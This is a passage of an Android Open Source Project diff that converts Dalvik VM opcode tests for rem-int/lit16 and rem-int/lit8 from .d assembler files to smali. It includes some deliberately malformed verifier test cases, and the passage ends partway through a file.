+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.d
deleted file mode 100644
index aa2208b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_8.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -32768
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali
new file mode 100644
index 0000000..8fbc185
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -32768
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.d
deleted file mode 100644
index 91c45f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_9.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali
new file mode 100644
index 0000000..5d4dca6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.d
deleted file mode 100644
index 7d69475..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_1.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali
new file mode 100644
index 0000000..4f22b90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.d
deleted file mode 100644
index 15ce8db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_10.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali
new file mode 100644
index 0000000..72d6198
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.d
deleted file mode 100644
index 9fb2f77..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_11.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       rem-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali
new file mode 100644
index 0000000..69ca5a6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.d
deleted file mode 100644
index cc7cd5e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_12.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       rem-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali
new file mode 100644
index 0000000..1e97b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.d
deleted file mode 100644
index c35575e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_13.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali
new file mode 100644
index 0000000..1022939
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.d
deleted file mode 100644
index 4887086..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_2.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali
new file mode 100644
index 0000000..6544ff6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.d
deleted file mode 100644
index 43413ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_3.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -120
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali
new file mode 100644
index 0000000..aeda7f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -120
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.d
deleted file mode 100644
index 48cd590..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_4.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali
new file mode 100644
index 0000000..7f46c25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.d
deleted file mode 100644
index ec86de1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_5.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali
new file mode 100644
index 0000000..38034c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.d
deleted file mode 100644
index 8300e22..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_6.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
